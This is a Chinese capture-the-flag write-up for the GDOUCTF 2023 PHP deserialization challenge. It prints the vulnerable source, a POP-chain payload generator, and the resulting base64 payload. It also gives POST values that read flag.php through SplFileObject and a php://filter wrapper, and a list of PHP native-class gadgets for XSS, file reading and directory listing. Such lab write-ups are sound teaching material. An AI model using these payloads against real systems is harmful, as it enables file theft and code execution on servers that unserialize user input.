(反序列化)[GDOUCTF 2023]反方向的钟

php 复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);
// flag.php
class teacher{
    public $name;
    public $rank;
    private $salary;
    public function __construct($name,$rank,$salary = 10000){
        $this->name = $name;
        $this->rank = $rank;
        $this->salary = $salary;
    }
}

class classroom{
    public $name;
    public $leader;
    public function __construct($name,$leader){
        $this->name = $name;
        $this->leader = $leader;
    }
    public function hahaha(){
        if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department'){
            return False;
        }
        else{
            return True;
        }
    }
}

class school{
    public $department;
    public $headmaster;
    public function __construct($department,$ceo){
        $this->department = $department;
        $this->headmaster = $ceo;
    }
    public function IPO(){
        if($this->headmaster == 'ong'){
            echo "Pretty Good ! Ctfer!\n";
            echo new $_POST['a']($_POST['b']);
        }
    }
    public function __wakeup(){
        if($this->department->hahaha()) {
            $this->IPO();
        }
    }
}

if(isset($_GET['d'])){
    unserialize(base64_decode($_GET['d']));
}
?>

先看看利用点:

应该是_POST\['a'\](_POST['b']);

尝试构造链子school::IPO() -> school::__wakeup ->classroom::hahaha->teacher

编写payload

php 复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);
// flag.php
class teacher{
    public $name='ing';
    public $rank='department';
}

class classroom{
    public $name='one class';
    public $leader;
}

class school{
    public $department;
    public $headmaster='ong';
}
$a=new school();
$b=new classroom();
$c=new teacher();
$a->department=$b;
$b->leader=$c;
echo base64_encode(serialize($a));
?>

结果:                      
Tzo2OiJzY2hvb2wiOjI6e3M6MTA6ImRlcGFydG1lbnQiO086OToiY2xhc3Nyb29tIjoyOntzOjQ6Im5hbWUiO3M6OToib25lIGNsYXNzIjtzOjY6ImxlYWRlciI7Tzo3OiJ0ZWFjaGVyIjoyOntzOjQ6Im5hbWUiO3M6MzoiaW5nIjtzOjQ6InJhbmsiO3M6MTA6ImRlcGFydG1lbnQiO319czoxMDoiaGVhZG1hc3RlciI7czozOiJvbmciO30=

接下来构造post的a和b即可

尝试a=system&b='ls'不行

上网查用php的内置类SplFileObject来读取文件内容

a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php

即原生类和伪协议

原生类

php原生类

Error/Exception XSS

<?php

$a = serialize(new Exception("<script>alert(1)</script>"));

echo $a;

SplFileObject 读文件

<?php

$a = new SplFileObject("flag.txt");

echo $a;

DirectoryIterator 遍历目录

<?php

$a = new DirectoryIterator(".");

foreach (a as b) {

echo $b->getFilename() . "\n";

}

FilesystemIterator 遍历目录

<?php

$a = new FilesystemIterator(".");

foreach (a as b) {

echo $b->getFilename() . "\n";

}

相关推荐
ftpeak7 小时前
从零开始使用 axum-server 构建 HTTP/HTTPS 服务
网络·http·https·rust·web·web app
Hello_Embed7 小时前
STM32HAL 快速入门(二十):UART 中断改进 —— 环形缓冲区解决数据丢失
笔记·stm32·单片机·学习·嵌入式软件
咸甜适中7 小时前
rust语言 (1.88) 学习笔记:客户端和服务器端同在一个项目中
笔记·学习·rust
亿坊电商8 小时前
物联网领域中PHP框架的最佳选择有哪些?
物联网·struts·php
Magnetic_h8 小时前
【iOS】设计模式复习
笔记·学习·ios·设计模式·objective-c·cocoa
wuzuyu3659 小时前
用php做一个简易的路由
php·路由
研梦非凡9 小时前
ICCV 2025|从粗到细:用于高效3D高斯溅射的可学习离散小波变换
人工智能·深度学习·学习·3d
limengshi13839210 小时前
机器学习面试:请介绍几种常用的学习率衰减方式
人工智能·学习·机器学习
知识分享小能手10 小时前
React学习教程,从入门到精通,React 组件核心语法知识点详解(类组件体系)(19)
前端·javascript·vue.js·学习·react.js·react·anti-design-vue
周周记笔记11 小时前
学习笔记:第一个Python程序
笔记·学习